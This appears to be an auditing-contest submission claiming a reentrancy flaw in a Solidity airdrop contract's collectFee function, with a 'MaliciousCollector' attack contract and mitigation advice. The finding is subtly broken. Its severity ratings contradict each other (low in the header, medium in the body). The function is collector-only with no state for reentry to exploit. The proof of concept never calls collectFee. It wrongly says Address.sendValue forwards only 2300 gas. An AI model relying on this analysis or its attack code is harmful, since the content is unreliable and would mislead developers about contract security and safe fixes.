Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
Submission Details
Impact: low
Likelihood: low

Reentrancy Risk in collectFee

Author Revealed upon completion

Root + Impact

Description

  • Expected : The collectFee function should securely transfer ETH from the contract to the collector without allowing reentry attacks.

  • Bug : The function uses call{value: address(this).balance} to send ETH, which forwards all remaining gas and allows the recipient to reenter the contract before the state is updated, potentially draining funds.

// ❌ Vulnerable Code
function collectFee() external onlyCollector {
uint256 collection = i_weth.balanceOf(address(this));
i_weth.transfer(s_collector, collection);
(bool collected,) = payable(s_collector).call{value: address(this).balance}("");
require(collected, "Fee collection failed!!!");
}

Risk

Likelihood :

  • Medium : Requires the collector address to be a malicious contract with a fallback/receive function to exploit reentrancy.

Impact :

  • Medium : Attackers could drain ETH balances by reentering collectFee before the state is updated, leading to fund loss.

Proof of Concept

// Malicious collector contract exploiting reentrancy
contract MaliciousCollector {
address public snowContract;
constructor(address _snow) {
snowContract = _snow;
}
// Fallback function to trigger reentrancy
receive() external payable {
if (msg.sender == snowContract) {
// Reenter collectFee to drain ETH
snowContract.call(abi.encodeWithSignature("collectFee()"));
}
}
// Trigger initial ETH withdrawal
function attack() external {
payable(snowContract).call{value: 0.1 ether}("");
}
}

Explanation :
When collectFee sends ETH via call, the malicious collector’s fallback function reenters collectFee before the contract’s balance is updated. This repeats until the ETH balance is drained.

Recommended Mitigation

- (bool collected,) = payable(s_collector).call{value: address(this).balance}("");
+ (bool collected,) = payable(s_collector).call{value: address(this).balance, gas: 30000}("");

Steps :

Limit Gas in Call : Add a gas stipend (e.g., gas: 30000) to prevent complex reentry logic in the fallback function.
Use Address.sendValue : Replace call with OpenZeppelin’s Address.sendValue, which enforces a 2300 gas forward (safe for ETH transfers):

Address.sendValue(payable(s_collector), address(this).balance);

Address.sendValue(payable(s_collector), address(this).balance);
Apply Checks-Effects-Interactions Pattern : Update state variables before external calls to prevent reentry on stale data.
Rationale :
Limiting gas or using sendValue blocks reentrancy by restricting execution in the recipient’s fallback function. This ensures secure ETH transfers without fund loss risks.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.